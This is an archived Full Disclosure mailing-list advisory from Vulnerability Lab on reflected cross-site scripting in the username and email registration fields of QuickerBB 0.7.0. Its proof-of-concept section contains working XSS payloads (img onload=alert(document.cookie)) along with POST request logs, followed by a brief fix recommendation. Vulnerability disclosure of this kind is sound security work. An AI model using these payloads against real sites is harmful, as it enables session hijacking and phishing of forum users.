[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] QuickerBB 0.7.0 - Register Cross Site Scripting Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] QuickerBB 0.7.0 - Register Cross Site Scripting Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 11 Aug 2016 12:06:51 +0200
Document Title:
===============
QuickerBB 0.7.0 - Register Cross Site Scripting Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1895
Release Date:
=============
2016-08-11
Vulnerability Laboratory ID (VL-ID):
====================================
1895
Common Vulnerability Scoring System:
====================================
3.2
Product & Service Introduction:
===============================
QuickerBB is a fast forum. It is based on PHP5 with databases SQLite and MySQL
via PDO.
The easy setup forum web-application is in use by several tor protected
shopping websites.
(Copy of the Homepage: http://188.122.128.27/index.php )
Abstract Advisory Information:
==============================
The vulnerbaility laboratory core research team discovered multiple client-side
cross site vulnerabilities in the QuickerBB v0.7.0 Forum web-application.
Vulnerability Disclosure Timeline:
==================================
2016-08-11: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
QuickerBB
Product: QuickerBB - Forum (Web-Application) 0.7.0 and 0.6.0
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple client-side cross site scripting vulnerabilities has been discovered
in the QuickerBB v0.7.0 Forum web-application.
The vulnerability allows remote attackers to inject own malicious script codes
to client-side browser to web-application requests.
The cross site scripting vulnerabilities are located in the `username` and
`email` parameters of the `Register` module.
Remote attackers are able to inject own malicious payloads to the client-side
requested register module of the index.php file.
The injection points are the vulnerable marked parameters and the execution
point occurs in the forum registration form web context.
The request method to inject is POST and the attack vector of the issue is
non-persistent.
The security risk of the xss vulnerabilities are estimated as medium with a
cvss (common vulnerability scoring system) count of 3.2.
Exploitation of the client-side vulnerabilities requires no privileged
web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in non-persistent phishing
attacks, session hijacking, non-persistent external
redirect to malicious sources and non-persistent manipulation of affected or
connected web module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Register
Vulnerable File(s):
[+] index.php
Vulnerable Parameter(s):
[+] username
[+] email
Proof of Concept (PoC):
=======================
The client-side vulnerabilities can be exploited by remote attackers without
privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reprduce the vulnerability ...
1. Open the forum web-application without authentication
2. Open the register module with click to the link
3. Inject to the username or email inputs own script code payload
4. The execute occurs when processing to click the submit button for the POST
method request
5. Successful reproduce of the client-side cross site scripting web
vulnerability!
PoC: Vulnerable Source (./index.php?act=register)
<div id="wrap">
<a id="title" href="index.php">QuickerBB</a>
<span id="subtitle">fast forum software</span>
<div id="menu"><a href="index.php?act=login">Log in</a>
<a href="index.php?act=register">Register</a></div>
<fieldset id="breadcr">
<a href="index.php">Home</a> => Register
</fieldset>
<fieldset id="contents">
<form action="index.php?act=register" method="post" accept-charset="UTF-8">
<span style="color:#ff0000">Error with Username, Password or Email. </span>
<table>
<tbody><tr>
<td><label for="username">Username</label></td>
<td><input name="username" value=">
" type="text"><img src="x" onload=alert(document.cookie) <[CLIENT-SIDE SCRIPT
CODE EXECUTION!] "
size="32" maxlength="25" required/>
3 to 25 characters</td>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://quickerbb.localhost:8080/index.php?act=register
Mime Type[text/html]
Request Header:
Host[quickerbb.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://quickerbb.localhost:8080/index.php?act=register]
Cookie[PHPSESSID=gq38qakmqd3j4fo6f6bl5t1su1]
Connection[keep-alive]
POST-Daten:
username[>"<img src="./evil-source" onload=alert(document.cookie)
<(CLIENT SCRIPT SCRIPT CODE INJECT!)]
password[fobar]
password2[fobar2]
email[@>"<img src="./evil-source" onload=alert(document.cookie) <(CLIENT
SCRIPT SCRIPT CODE INJECT!)]
show_email[0]
register[1]
Response Header:
Date[Sat, 06 Aug 2016 17:39:50 GMT]
Server[Apache/2.4.18 (Win64) PHP/5.6.19]
X-Powered-By[PHP/5.6.19]
Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
GET http://quickerbb.localhost:8080/x[CLIENT-SIDE SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[quickerbb.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0]
Accept[*/*]
Referer[http://quickerbb.localhost:8080/index.php?act=register]
Cookie[PHPSESSID=gq38qakmqd3j4fo6f6bl5t1su1]
Connection[keep-alive]
Response Header:
Date[Sat, 06 Aug 2016 17:39:50 GMT]
Server[Apache/2.4.18 (Win64) PHP/5.6.19]
Content-Type[text/html; charset=iso-8859-1]
Reference(s):
http://quickerbb.localhost:8080/
http://quickerbb.localhost:8080/index.php
http://quickerbb.localhost:8080/index.php?act=
http://quickerbb.localhost:8080/index.php?act=register
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the vulnerable name and
email input fields of the registration formular.
Disallow special chars and filter the entries or escape the context to prevent
further client-side script code injection attacks.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities
in the registration formular of the forum is estimated as medium. (CVSS 3.2)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied,
including the warranties of merchantability and capability for a particular
purpose. Vulnerability-Lab or its suppliers are not liable in any case of
damage,
including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised
of the possibility of such damages. Some states do not allow the exclusion or
limitation of liability for consequential or incidental damages so the
foregoing
limitation may not apply. We do not approve or encourage anybody to break any
licenses, policies, deface websites, hack into databases or trade with stolen
data.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
research@xxxxxxxxxxxxxxxxxxxxx -
admin@xxxxxxxxxxxxxxxxx
Section: magazine.vulnerability-lab.com -
vulnerability-lab.com/contact.php -
evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php -
vulnerability-lab.com/list-of-bug-bounty-programs.php -
vulnerability-lab.com/register.php
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory. Permission to
electronically
redistribute this alert in its unmodified form is granted. All other rights,
including the use of other media, are reserved by Vulnerability-Lab Research
Team or
its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific
authors or managers. To record, list, modify, use or edit our material contact
(admin@ or research@xxxxxxxxxxxxxxxxxxxxx) to get a ask permission.
Copyright © 2016 | Vulnerability Laboratory
- [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/